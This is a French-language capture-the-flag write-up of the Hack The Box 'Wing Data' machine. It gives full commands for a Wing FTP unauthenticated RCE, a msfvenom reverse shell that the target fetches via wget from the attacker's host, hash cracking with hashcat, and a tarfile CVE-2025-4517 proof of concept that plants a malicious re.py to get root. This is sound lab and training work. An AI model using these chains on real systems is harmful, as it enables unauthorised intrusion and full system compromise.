Wing Data#

la machine Wing Data est une box de difficulté facile proposée par Hack The Box. elle propose une exploitation en trois temps :

  • Un accès initial en exploitant une vulnérabilité connue.
  • La récupération et le crack d’un hash nous donnant un mot de passe utilisateur.
  • Une escalade de privilège via l’exploitation d’une librairie pyhton vulnérable, nous permettant de faire du librairie Hijacking.

Enumeration#

L’énumération des ports nous montre qu’il y a une application web sur le port 80.

# Nmap 7.95 scan initiated Wed Feb 18 19:37:57 2026 as: nmap -sS -sV -T5 -O -oN nmap_scan.txt 10.129.1.231
Nmap scan report for 10.129.1.231
Host is up (0.089s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 18 19:38:15 2026 -- 1 IP address (1 host up) scanned in 18.18 seconds

Après l’accès à cette application web, on observe que l’application “Client Portal” redirige vers un sous-domaine ftp.wingdata.htb. Après l’ajout du sous-domaine ftp.wingdata.htb à /etc/hosts on peut accéder à une instance de WingFTP.

Foothold : Wing FTP 7.4.3#

https://www.exploit-db.com/exploits/52347

La version de WING FTP est la version 7.4.3. Cette version est sujette à une vulnérabilité CVE-2025-47812 qui permet à un attaquant d’exécuter arbitrairement du code sans êtr authentifié.On va alors forger un reverse shell avec msfvenom, pousser le serveur à le télécharger et à l’exécuter :

#!/bin/bash

MONIP=10.10.14.201

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$MONIP LPORT=1337 -f elf -o reverse.elf

python3 exploit.py -u http://ftp.wingdata.htb/ -c "wget http://$MONIP:8888/reverse.elf" -v
python3 exploit.py -u http://ftp.wingdata.htb/ -c "chmod 777 reverse.elf" -v
python3 exploit.py -u http://ftp.wingdata.htb/ -c "./reverse.elf" -v

Récupération du mot de passe#

Une fois notre reverse-shell mis en place, nous sommes connecté avec l’utilisateur wingftp. On peut récupérer un hash du mot de passe d’un utilisateur dans /opt/wftpserver/Data/1/settings.xml :

# ls /home nous montre qu'on a un utilisateur nommé wacky 

# Recuperation du mdp 
wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml | grep -Ei salt
cat settings.xml | grep -Ei salt
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>

# Recuperation du salt
wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml | grep -Ei salt
cat settings.xml | grep -Ei salt
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>
    
   

# Crack avec hashcat     

hashcat -m 1420 wackyhash.txt  /usr/share/wordlists/rockyou.txt --show
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

On a donc un utilisateur wacky:!#7Blushing^*Bride5

Post-Exploitation : Privilege Escalation#

SUDO misconfiguration#

L’utilisateur wacky peut exécuter restore_backup_clients.py avec les droits root.


wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

le .py charge plusieurs librairies dont : tafile, re, os. la version de python est 3.12.3 ce qui nous indique que tarfile est certainement vulnérable à la CVE-2025-4517. On peut utiliser cette CVE pour hijack une librairie et avoir un shell root. Cette faille permet d’extraire arbitrairement des fichiers d’une archive si celle-ci est mal formée. Le but est donc d’écrire un fichier re.py dans le même dossier que notre script de backup pour que celui-ci soit exécuté à la place de la librairie gérant les regex. se re.py va nous donner un shell.

Exploit : CVE-2025-4517#

https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f

Nous allons modifier le poc fournit par google avec le code ci-dessous :

import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("backup_777.tar", mode="x") as tar:
    # populate the symlinks and dirs that expand in os.path.realpath()
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    # create the final symlink that exceeds PATH_MAX and simply points to the
    # top dir. this allows *any* path to be appended.
    # this link will never be expanded by os.path.realpath(), nor anything after it.
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)

    # make a symlink outside to keep the tar command happy
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../"
    tar.addfile(e)
    # use the symlinks above, that are not checked, to create a hardlink

    content = b"import os; os.system('bash')\n"
    n = tarfile.TarInfo("escape/re.py")
    n.type = tarfile.REGTYPE
    n.size = len(content)
    tar.addfile(n, fileobj=io.BytesIO(content))

On télécharge notre archive et on lance l’executable avec les droits root pour créer notre re.py là où se trouve l’executable sur lequel on a les droits sudo. De cette manière, python va le charger et l’exécuter, en nous donnant un shell bash :

wacky@wingdata:/opt/backup_clients/backups$ rm backup* && wget http://10.10.14.201:8888/backup_777.tar && sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py  -b backup_777.tar -r restore_2
--2026-02-20 12:29:51--  http://10.10.14.201:8888/backup_777.tar
Connecting to 10.10.14.201:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 112640 (110K) [application/x-tar]
Saving to: 'backup_777.tar'

backup_777.tar               100%[==============================================>] 110.00K   547KB/s    in 0.2s

2026-02-20 12:29:51 (547 KB/s) - 'backup_777.tar' saved [112640/112640]

[+] Backup: backup_777.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_2
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_2

wacky@wingdata:/opt/backup_clients$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py  -b backup_777.tar -r restore_777
root@wingdata:/opt/backup_clients# cd /root
root@wingdata:~# cat root.txt
---- REDACTED ------